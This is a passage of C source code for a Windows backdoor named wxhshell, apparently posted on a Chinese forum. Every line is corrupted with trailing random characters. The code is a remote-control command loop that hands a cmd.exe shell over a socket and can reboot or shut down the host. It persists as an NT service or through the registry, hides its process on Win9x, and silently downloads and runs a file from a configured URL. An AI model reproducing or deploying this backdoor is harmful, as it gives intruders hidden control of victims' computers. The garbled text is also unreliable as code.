  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j9:/RJS  
  } qz`rL#W]  
  else { _42Z={pZZq  
F}D3,&9N  
    switch(cmd[0]) { .#0H{mk  
  'd/*BjNp)  
  // 帮助 9*\g`fWc}{  
  case '?': { 0oSQY[ht/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p>q&&;fe  
    break; V.8%|-d  
  } MU1E_"Z)  
  // 安装 1[SA15h  
  case 'i': { &cc9}V)M  
    if(Install()) mw4JQ\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -w]/7cH  
    else P$ucL~r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O#EqG.L5  
    break; :H?f*aw  
    } \lEkfcc  
  // 卸载 p x#suy  
  case 'r': { W pN.]x  
    if(Uninstall()) & fu z2xv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {E51Kv&_  
    else ;1`!wG-DD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1HbFtU`y~  
    break; u]M\3V.  
    } 99u/fkL  
  // 显示 wxhshell 所在路径 .x-J44i@/  
  case 'p': { $mpO?D J~  
    char svExeFile[MAX_PATH]; ^I`a;  
    strcpy(svExeFile,"\n\r"); <7'&1= %r  
      strcat(svExeFile,ExeFile); 'Jydu   
        send(wsh,svExeFile,strlen(svExeFile),0); % :/_f  
    break; 3z3_7XI  
    } .'j29 6[u  
  // 重启  $:EG%jl  
  case 'b': { Uw)=WImz[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CxDcY  
    if(Boot(REBOOT)) a9l8{ 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^m%52Tm h  
    else { w"8V0z  
    closesocket(wsh); ~}Z'0W)Q`z  
    ExitThread(0); %(<(Y  
    } aGK@)&h$  
    break; \uM? S  
    } _TUm$#@Y`  
  // 关机 sbnjy"Z%  
  case 'd': { }pawIf4V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T SjI z5  
    if(Boot(SHUTDOWN)) g jxS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qTM%G-  
    else { X>zlb$  
    closesocket(wsh); H)>sTST(  
    ExitThread(0); f%XJ;y\,9H  
    } c}-(.eu  
    break; P!e=b-T  
    } hw=GR_,  
  // 获取shell SK R1E];4  
  case 's': { S6sq#kcH  
    CmdShell(wsh); G1d(,4Xp  
    closesocket(wsh); bL1m'^r  
    ExitThread(0); VagT_D  
    break; F!yV8XQ  
  } A@$kLex  
  // 退出 Y#HI;Y^RP  
  case 'x': { 6B6vP%H#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |PP.<ce\-  
    CloseIt(wsh); N3%*7{X 9  
    break; gU;&$  
    } ss iokLE  
  // 离开 V.=lGhi  
  case 'q': { b>11h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fS=hpL6]@  
    closesocket(wsh); iw\%h9  
    WSACleanup(); tFM$#JN  
    exit(1); 57Z-  
    break; h`Tz5% n  
        } L/Vx~r`P  
  } vH[Pb#f-  
  }  {mTytT  
7L3ik;>  
  // 提示信息 ;Ii1B{W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _#C()Ro*P  
} 314=1JbL  
  } KzO,*M  
j0mM>X HB  
  return; lAi2,bz"  
} rHz||jjU  
M 2q"dz   
// shell模块句柄 %,UPJn  
int CmdShell(SOCKET sock) Vf $Dnu@}z  
{ T .n4TmF  
STARTUPINFO si; 1^G{tlA-  
ZeroMemory(&si,sizeof(si)); ,[!LCXp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DjLL|jF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  L,LNv  
PROCESS_INFORMATION ProcessInfo; M;.ZM<Ga  
char cmdline[]="cmd"; W?Ww2Lo%Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >:1P/U  
  return 0; RU#F8O  
} dl~|Izm  
se9>.}zZN  
// 自身启动模式 j !H^-d}q  
int StartFromService(void) sa&) #Z:  
{ 3tAU?sV!  
typedef struct bt/ =Kq#  
{ y2|R.EU\m<  
  DWORD ExitStatus; /)L 0`:I#  
  DWORD PebBaseAddress; rcN 9.1  
  DWORD AffinityMask; (u1m]WYL  
  DWORD BasePriority; ~nY]o"8D  
  ULONG UniqueProcessId; }q[Bd  
  ULONG InheritedFromUniqueProcessId; >BVoHt~;  
}   PROCESS_BASIC_INFORMATION; e'9r"<>i  
}} ZY  
PROCNTQSIP NtQueryInformationProcess; rS8 w\`_  
~O6\6$3b5E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nH-V{=**  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $XnPwOj  
>3.X?  
  HANDLE             hProcess; Zjh2{ :  
  PROCESS_BASIC_INFORMATION pbi; cr;`Tl~}s  
+^|iZbZKx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  aSutM  
  if(NULL == hInst ) return 0; 0<p{BL 8  
R.9V,R5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j2 %^qL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \cJa;WM>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PkuTg";  
(5Nv8H8|  
  if (!NtQueryInformationProcess) return 0; +0l`5."d  
9 ; i\g=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Cb;WZ3HR  
  if(!hProcess) return 0; 3G}AH E4  
5Wx~ZQZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aHzHvl  
b;cMl'  
  CloseHandle(hProcess); E%N2k|%8d_  
zZ-\a[F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r(A.<`\   
if(hProcess==NULL) return 0; \}0-^(9zd  
d^E [|w ;  
HMODULE hMod; 4,p;Km&  
char procName[255]; V ~{fB~  
unsigned long cbNeeded; {R6HG{"IS6  
jNDx,7F-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yHo[{,4itA  
$A_]:qI2  
  CloseHandle(hProcess); Q>< 0[EPj3  
<.K4JlbT  
if(strstr(procName,"services")) return 1; // 以服务启动 9LJZ-/Wq  
]e?x# <S  
  return 0; // 注册表启动 8+Llx  
} !D^c3d  
`{v?6:G:Q  
// 主模块 BqK(DH^9N  
int StartWxhshell(LPSTR lpCmdLine) !~i' -4]  
{ Z~  
  SOCKET wsl; 4'1m4Ugg  
BOOL val=TRUE; !U%T&?E l  
  int port=0;  >w6taX  
  struct sockaddr_in door; >o,^b\  
/#NYi,<{X  
  if(wscfg.ws_autoins) Install(); Q n)d2-<  
$tqJ/:I  
port=atoi(lpCmdLine); T#@lDpO  
y[};J vk  
if(port<=0) port=wscfg.ws_port; K>:]Bx#F7  
k;W@LfP  
  WSADATA data; OHr Y(I6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x3+oAb@o/  
I?#85l{>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9p* gU[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HvwYm.$zE  
  door.sin_family = AF_INET; `mfq 2bVc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0 fXLcal  
  door.sin_port = htons(port); ]  ]U<UJ  
u^Ku;RQo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Uh eC  
closesocket(wsl); YUU-D(  
return 1; G6P)C##ibn  
} ji1HV1S  
VZka}7a  
  if(listen(wsl,2) == INVALID_SOCKET) { 'wasZ b<^  
closesocket(wsl); UB`ToE|Ii  
return 1; m><w0k?t  
} N7r_77%m0  
  Wxhshell(wsl); `$LWmm#  
  WSACleanup(); 6DIZ@oi  
g6t"mkMY L  
return 0; /&#XhrT  
lA(Q@yEW  
} /'2O.d0}.  
) /vhclkb  
// 以NT服务方式启动 Dn9w@KO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ocbB&  
{ uP3_FX: e  
DWORD   status = 0; ^)!F9h+  
  DWORD   specificError = 0xfffffff; \`<cH#  
.{KjEg 6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `?g`bN`Vn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bu7'oB~:V^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2aZw[7s  
  serviceStatus.dwWin32ExitCode     = 0; %_-zWVJ  
  serviceStatus.dwServiceSpecificExitCode = 0; 9h90huyKF  
  serviceStatus.dwCheckPoint       = 0; #m{{a]zm^  
  serviceStatus.dwWaitHint       = 0; 8M*PML4r  
rPNb\Ri  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 63|+2-E2Q  
  if (hServiceStatusHandle==0) return; O%~jop7# 6  
`vG,}Pt]  
status = GetLastError(); d,vNem-Z*L  
  if (status!=NO_ERROR) h}_~y'^!  
{ ?<&O0'Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  kqYa*| l  
    serviceStatus.dwCheckPoint       = 0; fA%z*\  
    serviceStatus.dwWaitHint       = 0; 3ya1'qUC  
    serviceStatus.dwWin32ExitCode     = status; 5RH2"*8T  
    serviceStatus.dwServiceSpecificExitCode = specificError; k#Of]mXXz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s`j~-P  
    return; ,21 np  
  } <:/&&@2  
XIo55*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UUKP"  
  serviceStatus.dwCheckPoint       = 0; lU^;Z 6f  
  serviceStatus.dwWaitHint       = 0; p9U?!L!y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3nZ9m  
} aJL^AG  
AsS$C&^  
// 处理NT服务事件,比如:启动、停止 r)9Dy,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) unJid8Lo  
{ 87%*+n:?*  
switch(fdwControl) YIt& >  
{ jc[_I&Oc_  
case SERVICE_CONTROL_STOP: "vCM}F  
  serviceStatus.dwWin32ExitCode = 0; l\AMl \  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _I`,Br:N  
  serviceStatus.dwCheckPoint   = 0; h eaRX4  
  serviceStatus.dwWaitHint     = 0; U-k+9f 0  
  { UX3BeUi.)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;@,Q&B2eM  
  } 07Gv*.  
  return; Om'+]BBN  
case SERVICE_CONTROL_PAUSE: 9 3+"D`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h)1qp Qj  
  break; c^rOImZ  
case SERVICE_CONTROL_CONTINUE: 9=w|)p )  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +uWDP .  
  break; "'8KV\/D  
case SERVICE_CONTROL_INTERROGATE: .@-9'<K?~  
  break; ML-)I&>tT  
}; |4mpohX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cz4)Yz  
} =1I#f  
Qu5UVjbE,  
// 标准应用程序主函数 L%v^s4@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,uw132<b  
{ ONNpiK-  
,:~0F^z  
// 获取操作系统版本 6) oLus  
OsIsNt=GetOsVer(); ; Sd\VR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lZ8CY  
#po5_dE\*  
  // 从命令行安装 6C>_a*w  
  if(strpbrk(lpCmdLine,"iI")) Install(); }pk#!N  
yc2/~a_ Gx  
  // 下载执行文件 RsU3Gi_Zdz  
if(wscfg.ws_downexe) { kt[:@Nda9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wxm:7$4C  
  WinExec(wscfg.ws_filenam,SW_HIDE); -yGDh+-  
} ,*4p?|A  
ZT02"3F  
if(!OsIsNt) { 1:NrP'W^  
// 如果时win9x,隐藏进程并且设置为注册表启动 =NbI%  
HideProc(); aK,z}l(N  
StartWxhshell(lpCmdLine); gH2,\z`[4  
} B63pgPX  
else YY?a>j."a  
  if(StartFromService()) /&u<TJ4  
  // 以服务方式启动 N=:5eAza  
  StartServiceCtrlDispatcher(DispatchTable); 0JgL2ayIVI  
else ^mAYBOE  
  // 普通方式启动 ]0;864X0  
  StartWxhshell(lpCmdLine); 2j(h+?N7k  
] 2DH;  
return 0; ZYf2XI(_"  
}
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只看该作者 1 发表于: 2006-10-10
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